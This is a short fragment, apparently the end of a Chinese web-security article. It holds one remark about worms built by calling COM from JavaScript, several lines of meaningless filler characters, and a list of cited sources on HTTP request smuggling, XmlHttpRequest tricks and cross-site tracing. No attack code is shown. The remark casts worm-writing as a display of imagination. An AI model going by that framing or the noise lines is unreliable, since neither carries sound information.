操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
% |8 s6 K6 f0 f( D% [% o+ a
6 J( E$ T. n4 R

. F' c7 v* O. C/ q6 `
  P+ R" |! A- g, k8 G+ H

0 o3 m$ Q# t/ @6 P7 T

本文引用文档资料:
& F' e9 H5 j+ P( J/ ^9 D
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
$ ^+ Y# q" j& v7 ]4 LXeye Team http://xeye.us/